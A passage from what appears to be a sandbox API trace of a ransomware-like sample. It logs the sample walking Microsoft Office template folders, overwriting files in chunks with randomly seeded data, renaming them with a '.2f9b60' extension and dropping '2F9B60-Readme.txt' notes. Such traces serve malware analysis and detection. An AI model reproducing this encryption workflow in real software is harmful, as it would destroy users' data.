dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.032] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058ab0 [0152.032] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868f40 [0152.032] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500770 [0152.032] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500770) returned 1 [0152.032] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x425ae500 [0152.037] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500770 [0152.037] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500800 [0152.037] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500800) returned 1 [0152.040] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868f40) returned 1 [0152.040] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058ab0) returned 1 [0152.040] WriteFile (hFile=0x25ac, lpBuffer=0x425ae500, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x38bcf740, lpOverlapped=0x0) [0186.751] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x425ae500) returned 1 [0186.751] SetFilePointerEx (in: hFile=0x25ac, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.751] ReadFile (in: hFile=0x25ac, lpBuffer=0x4259b5c0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x38bcf740, lpOverlapped=0x0 | out: lpBuffer=0x4259b5c0*, lpNumberOfBytesRead=0x38bcf740*=0x3c00, lpOverlapped=0x0) returned 1 [0190.620] SetFilePointerEx (in: hFile=0x25ac, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.620] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c0d0 [0190.620] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420607b0 [0190.621] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138ef0 [0190.621] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43138ef0) returned 1 [0190.622] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x429845f0 [0190.622] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138ef0 [0190.622] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138f20 [0190.623] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43138f20) returned 1 [0190.623] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420607b0) returned 1 [0190.624] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c0d0) returned 1 [0190.624] WriteFile (in: hFile=0x25ac, lpBuffer=0x429845f0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x38bcf740, lpOverlapped=0x0 | out: lpBuffer=0x429845f0*, lpNumberOfBytesWritten=0x38bcf740*=0x3c00, lpOverlapped=0x0) returned 1 [0205.595] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x429845f0) returned 1 [0205.595] SetFilePointerEx (in: hFile=0x25ac, liDistanceToMove=0x1083f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.595] ReadFile (in: hFile=0x25ac, lpBuffer=0x4259b5c0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x38bcf740, lpOverlapped=0x0 | out: lpBuffer=0x4259b5c0*, lpNumberOfBytesRead=0x38bcf740*=0x3c00, lpOverlapped=0x0) returned 1 [0205.596] SetFilePointerEx (in: hFile=0x25ac, liDistanceToMove=0x1083f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.596] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61600 [0205.596] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb2e0 [0205.596] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb720 [0205.597] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb720) returned 1 [0205.597] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x429845f0 [0205.598] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb720 [0205.598] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbf30 [0205.599] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbf30) returned 1 [0205.599] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb2e0) returned 1 [0205.600] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61600) returned 1 [0205.600] WriteFile (in: hFile=0x25ac, lpBuffer=0x429845f0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x38bcf740, lpOverlapped=0x0 | out: lpBuffer=0x429845f0*, lpNumberOfBytesWritten=0x38bcf740*=0x3c00, lpOverlapped=0x0) returned 1 [0214.965] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x429845f0) returned 1 [0214.965] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x43105130 [0214.965] SetFilePointerEx (in: hFile=0x25ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0214.965] WriteFile (in: hFile=0x25ac, lpBuffer=0x430bce00*, nNumberOfBytesToWrite=0x14e, lpNumberOfBytesWritten=0x38bcf7f0, lpOverlapped=0x0 | out: lpBuffer=0x430bce00*, lpNumberOfBytesWritten=0x38bcf7f0*=0x14e, lpOverlapped=0x0) returned 1 [0218.903] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62870 [0218.904] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e270 [0218.904] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc7d0 [0218.905] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc7d0) returned 1 [0218.905] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x1cddc7d0 [0218.905] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc7a0 [0218.905] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc6e0 [0218.906] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc6e0) returned 1 [0218.907] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e270) returned 1 [0218.907] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62870) returned 1 [0218.907] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x39) returned 0x1ce62870 [0218.907] sprintf (in: _Dest=0x1ce62870, _Format="%c%c" | out: _Dest="34") returned 2 [0218.907] sprintf (in: _Dest=0x1ce62872, _Format="%c%c" | out: _Dest="fb") returned 2 [0218.907] sprintf (in: _Dest=0x1ce62874, _Format="%c%c" | out: _Dest="db") returned 2 [0218.907] sprintf (in: _Dest=0x1ce62876, _Format="%c%c" | out: _Dest="0f") returned 2 [0218.907] sprintf (in: _Dest=0x1ce62878, _Format="%c%c" | out: _Dest="11") returned 2 [0218.907] sprintf (in: _Dest=0x1ce6287a, _Format="%c%c" | out: _Dest="77") returned 2 [0218.907] sprintf (in: _Dest=0x1ce6287c, _Format="%c%c" | out: _Dest="05") returned 2 [0218.907] sprintf (in: _Dest=0x1ce6287e, _Format="%c%c" | out: _Dest="ea") returned 2 [0218.908] sprintf (in: _Dest=0x1ce62880, _Format="%c%c" | out: _Dest="33") returned 2 [0218.908] sprintf (in: _Dest=0x1ce62882, _Format="%c%c" | out: _Dest="68") returned 2 [0218.908] sprintf (in: _Dest=0x1ce62884, _Format="%c%c" | out: _Dest="7b") returned 2 [0218.908] sprintf (in: _Dest=0x1ce62886, _Format="%c%c" | out: _Dest="d4") returned 2 [0218.908] sprintf (in: _Dest=0x1ce62888, _Format="%c%c" | out: _Dest="76") returned 2 [0218.908] sprintf (in: _Dest=0x1ce6288a, _Format="%c%c" | out: _Dest="16") returned 2 [0218.908] sprintf (in: _Dest=0x1ce6288c, _Format="%c%c" | out: _Dest="4b") returned 2 [0218.908] sprintf (in: _Dest=0x1ce6288e, _Format="%c%c" | out: _Dest="41") returned 2 [0218.908] sprintf (in: _Dest=0x1ce62890, _Format="%c%c" | out: _Dest="f8") returned 2 [0218.908] sprintf (in: _Dest=0x1ce62892, _Format="%c%c" | out: _Dest="1a") returned 2 [0218.908] sprintf (in: _Dest=0x1ce62894, _Format="%c%c" | out: _Dest="5d") returned 2 [0218.908] sprintf (in: _Dest=0x1ce62896, _Format="%c%c" | out: _Dest="80") returned 2 [0218.908] sprintf (in: _Dest=0x1ce62898, _Format="%c%c" | out: _Dest="59") returned 2 [0218.908] sprintf (in: _Dest=0x1ce6289a, _Format="%c%c" | out: _Dest="29") returned 2 [0218.908] sprintf (in: _Dest=0x1ce6289c, _Format="%c%c" | out: _Dest="c8") returned 2 [0218.908] sprintf (in: _Dest=0x1ce6289e, _Format="%c%c" | out: _Dest="00") returned 2 [0218.908] sprintf (in: _Dest=0x1ce628a0, _Format="%c%c" | out: _Dest="44") returned 2 [0218.908] sprintf (in: _Dest=0x1ce628a2, _Format="%c%c" | out: _Dest="fd") returned 2 [0218.908] sprintf (in: _Dest=0x1ce628a4, _Format="%c%c" | out: _Dest="f4") returned 2 [0218.908] sprintf (in: _Dest=0x1ce628a6, _Format="%c%c" | out: _Dest="51") returned 2 [0218.908] RtlInitAnsiString (in: DestinationString=0x38bcf868, SourceString="34fbdb0f117705ea33687bd476164b41f81a5d805929c80044fdf451" | out: DestinationString="34fbdb0f117705ea33687bd476164b41f81a5d805929c80044fdf451") [0218.908] RtlAnsiStringToUnicodeString (in: DestinationString=0x38bcf838, SourceString="34fbdb0f117705ea33687bd476164b41f81a5d805929c80044fdf451", AllocateDestinationString=1 | out: DestinationString="34fbdb0f117705ea33687bd476164b41f81a5d805929c80044fdf451") returned 0x0 [0218.908] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b79e2f0 [0218.909] wcscat (in: _Dest=0x4318be40, _Source="34fbdb0f117705" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\34fbdb0f117705") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\34fbdb0f117705" [0218.909] wcscat (in: _Dest=0x4318be40, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\34fbdb0f117705.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\34fbdb0f117705.2f9b60" [0218.909] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\34fbdb0f117705.2f9b60", NtPathName=0x38bcf810, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\34fbdb0f117705.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0218.909] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x43110720 [0222.667] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43110720) returned 1 [0222.667] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43078af0) returned 1 [0222.667] NtQueryInformationFile (in: FileHandle=0x25ac, IoStatusBlock=0x38bcf878, FileInformation=0x38bcf888, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x38bcf878, FileInformation=0x38bcf888) returned 0x0 [0222.667] NtSetInformationFile (FileHandle=0x25ac, IoStatusBlock=0x38bcf878, FileInformation=0x38bcf888, Length=0x28, FileInformationClass=0x4) returned 0x0 [0224.452] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4318be40) returned 1 [0224.453] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e2f0) returned 1 [0224.453] FlushFileBuffers (hFile=0x25ac) returned 1 [0224.635] CloseHandle (hObject=0x25ac) returned 1 [0225.661] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x431e33a0 [0225.661] wcscpy (in: _Dest=0x431e33a0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\" [0225.661] wcscat (in: _Dest=0x431e33a0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\2F9B60-Readme.txt" [0225.661] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fax\\2f9b60-readme.txt")) returned 0xffffffff [0225.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fax\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xafc [0226.380] WriteFile (in: hFile=0xafc, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x38bcf730, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x38bcf730*=0xba9, lpOverlapped=0x0) returned 1 [0229.727] CloseHandle (hObject=0xafc) returned 1 [0234.305] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431e33a0) returned 1 [0234.306] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c1b0) returned 1 [0234.306] FindNextFileW (in: hFindFile=0x1cd9daf0, lpFindFileData=0x20501690 | out: lpFindFileData=0x20501690*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e48ef50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x19972, dwReserved0=0x0, dwReserved1=0x0, cFileName="MedianFax.Dotx", cAlternateFileName="MEDIAN~1.DOT")) returned 1 [0234.306] wcscmp (_String1="MedianFax.Dotx", _String2=".") returned 1 [0234.307] wcscmp (_String1="MedianFax.Dotx", _String2="..") returned 1 [0234.307] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b86c1b0 [0234.307] wcscpy (in: _Dest=0x1b86c1b0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX" [0234.307] wcscat (in: _Dest=0x1b86c1b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\" [0234.307] wcscat (in: _Dest=0x1b86c1b0, _Source="MedianFax.Dotx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\MedianFax.Dotx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\MedianFax.Dotx" [0234.307] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86c1b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e9c [0234.360] FindNextFileW (in: hFindFile=0x1cd9daf0, lpFindFileData=0x20501690 | out: lpFindFileData=0x20501690*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e4db210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x1bbf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="OrielFax.Dotx", cAlternateFileName="ORIELF~1.DOT")) returned 1 [0234.360] wcscmp (_String1="OrielFax.Dotx", _String2=".") returned 1 [0234.360] wcscmp (_String1="OrielFax.Dotx", _String2="..") returned 1 [0234.360] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x1b86a500 [0234.361] wcscpy (in: _Dest=0x1b86a500, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX" [0234.361] wcscat (in: _Dest=0x1b86a500, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\" [0234.362] wcscat (in: _Dest=0x1b86a500, _Source="OrielFax.Dotx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\OrielFax.Dotx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\OrielFax.Dotx" [0234.362] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86a500, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x29c8 [0234.366] FindNextFileW (in: hFindFile=0x1cd9daf0, lpFindFileData=0x20501690 | out: lpFindFileData=0x20501690*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x16d67, dwReserved0=0x0, dwReserved1=0x0, cFileName="OriginFax.Dotx", cAlternateFileName="ORIGIN~1.DOT")) returned 1 [0234.366] wcscmp (_String1="OriginFax.Dotx", _String2=".") returned 1 [0234.366] wcscmp (_String1="OriginFax.Dotx", _String2="..") returned 1 [0234.367] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1cf4aa80 [0234.367] wcscpy (in: _Dest=0x1cf4aa80, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX" [0234.367] wcscat (in: _Dest=0x1cf4aa80, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\" [0234.367] wcscat (in: _Dest=0x1cf4aa80, _Source="OriginFax.Dotx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\OriginFax.Dotx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\OriginFax.Dotx" [0234.367] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\OriginFax.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fax\\originfax.dotx")) returned 0x20 [0234.368] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\OriginFax.Dotx", dwFileAttributes=0x20) returned 1 [0234.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\OriginFax.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fax\\originfax.dotx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x4a0 [0234.370] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x38bcf820 | out: lpFileSize=0x38bcf820*=93543) returned 1 [0234.370] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x16d63, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.370] ReadFile (in: hFile=0x4a0, lpBuffer=0x38bcf7a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x38bcf7e8, lpOverlapped=0x0 | out: lpBuffer=0x38bcf7a0*, lpNumberOfBytesRead=0x38bcf7e8*=0x4, lpOverlapped=0x0) returned 1 [0235.234] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.234] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7fa0 [0235.235] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7970 [0235.235] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7d00 [0235.235] NtQuerySystemTime (in: CurrentTime=0x38bcf6e0 | out: CurrentTime=0x38bcf6e0*=132462178390462000) returned 0x0 [0235.235] RtlRandomEx (in: Seed=0x38bcf6d0 | out: Seed=0x38bcf6d0) returned 0x528e9260 [0235.235] RtlRandomEx (in: Seed=0x38bcf6d0 | out: Seed=0x38bcf6d0) returned 0x6d86a95a [0235.235] RtlRandomEx (in: Seed=0x38bcf6d0 | out: Seed=0x38bcf6d0) returned 0x31b0ba56 [0235.235] RtlRandomEx (in: Seed=0x38bcf6d0 | out: Seed=0x38bcf6d0) returned 0x6db1821a [0235.235] RtlRandomEx (in: Seed=0x38bcf6d0 | out: Seed=0x38bcf6d0) returned 0x3dfc22af [0235.235] RtlRandomEx (in: Seed=0x38bcf6d0 | out: Seed=0x38bcf6d0) returned 0x176fadc8 [0235.235] RtlRandomEx (in: Seed=0x38bcf6d0 | out: Seed=0x38bcf6d0) returned 0x66c41725 [0235.235] RtlRandomEx (in: Seed=0x38bcf6d0 | out: Seed=0x38bcf6d0) returned 0x4300c262 [0235.235] RtlRandomEx (in: Seed=0x38bcf6d0 | out: Seed=0x38bcf6d0) returned 0x74cf9d4a [0235.235] RtlRandomEx (in: Seed=0x38bcf6d0 | out: Seed=0x38bcf6d0) returned 0x56c206a0 [0235.235] RtlRandomEx (in: Seed=0x38bcf6d0 | out: Seed=0x38bcf6d0) returned 0x107fd021 [0235.236] RtlRandomEx (in: Seed=0x38bcf6d0 | out: Seed=0x38bcf6d0) returned 0x41511664 [0235.236] RtlRandomEx (in: Seed=0x38bcf6d0 | out: Seed=0x38bcf6d0) returned 0x4ee8ddc3 [0235.236] RtlRandomEx (in: Seed=0x38bcf6d0 | out: Seed=0x38bcf6d0) returned 0x4ac3b02e [0235.236] RtlRandomEx (in: Seed=0x38bcf6d0 | out: Seed=0x38bcf6d0) returned 0x5bcb873e [0235.236] RtlRandomEx (in: Seed=0x38bcf6d0 | out: Seed=0x38bcf6d0) returned 0x9a8a0d6 [0235.236] RtlRandomEx (in: Seed=0x38bcf6d0 | out: Seed=0x38bcf6d0) returned 0x4bb16e13 [0235.236] RtlRandomEx (in: Seed=0x38bcf6d0 | out: Seed=0x38bcf6d0) returned 0x7deab803 [0235.236] RtlRandomEx (in: Seed=0x38bcf6d0 | out: Seed=0x38bcf6d0) returned 0x4966f07f [0235.236] RtlRandomEx (in: Seed=0x38bcf6d0 | out: Seed=0x38bcf6d0) returned 0x6ae23c2d [0235.236] RtlRandomEx (in: Seed=0x38bcf6d0 | out: Seed=0x38bcf6d0) returned 0x18370191 [0235.236] RtlRandomEx (in: Seed=0x38bcf6d0 | out: Seed=0x38bcf6d0) returned 0x6ce58c3c [0235.236] RtlRandomEx (in: Seed=0x38bcf6d0 | out: Seed=0x38bcf6d0) returned 0x770d63ed [0235.236] RtlRandomEx (in: Seed=0x38bcf6d0 | out: Seed=0x38bcf6d0) returned 0xeb8251a [0235.236] RtlRandomEx (in: Seed=0x38bcf6d0 | out: Seed=0x38bcf6d0) returned 0x3ed8518a [0235.236] RtlRandomEx (in: Seed=0x38bcf6d0 | out: Seed=0x38bcf6d0) returned 0x338922ec [0235.236] RtlRandomEx (in: Seed=0x38bcf6d0 | out: Seed=0x38bcf6d0) returned 0x5224b0b6 [0235.236] RtlRandomEx (in: Seed=0x38bcf6d0 | out: Seed=0x38bcf6d0) returned 0x9c73743 [0235.236] RtlRandomEx (in: Seed=0x38bcf6d0 | out: Seed=0x38bcf6d0) returned 0xdaf8546 [0235.236] RtlRandomEx (in: Seed=0x38bcf6d0 | out: Seed=0x38bcf6d0) returned 0x5878e083 [0235.236] RtlRandomEx (in: Seed=0x38bcf6d0 | out: Seed=0x38bcf6d0) returned 0x6d9cb000 [0235.236] RtlRandomEx (in: Seed=0x38bcf6d0 | out: Seed=0x38bcf6d0) returned 0x4ed88696 [0235.237] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.237] ReadFile (in: hFile=0x4a0, lpBuffer=0x41cd3cc0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x38bcf740, lpOverlapped=0x0 | out: lpBuffer=0x41cd3cc0*, lpNumberOfBytesRead=0x38bcf740*=0x3c00, lpOverlapped=0x0) returned 1 [0238.038] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.038] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61d30 [0238.039] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869940 [0238.039] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1c770 [0238.040] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1c770) returned 1 [0238.040] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42966280 [0238.040] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1c770 [0238.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19f20 [0238.041] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19f20) returned 1 [0238.042] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869940) returned 1 [0238.042] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61d30) returned 1 [0238.042] WriteFile (hFile=0x4a0, lpBuffer=0x42966280, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x38bcf740, lpOverlapped=0x0) Thread: id = 2116 os_tid = 0x1448 [0138.939] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FiveRules.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fiverules.potx")) returned 0x20 [0138.939] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FiveRules.potx", dwFileAttributes=0x20) returned 1 [0138.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FiveRules.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fiverules.potx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1e54 [0138.940] GetFileSizeEx (in: hFile=0x1e54, lpFileSize=0x389cfd40 | out: lpFileSize=0x389cfd40*=33184953) returned 1 [0138.940] SetFilePointerEx (in: hFile=0x1e54, liDistanceToMove=0x1fa5cb5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.940] ReadFile (in: hFile=0x1e54, 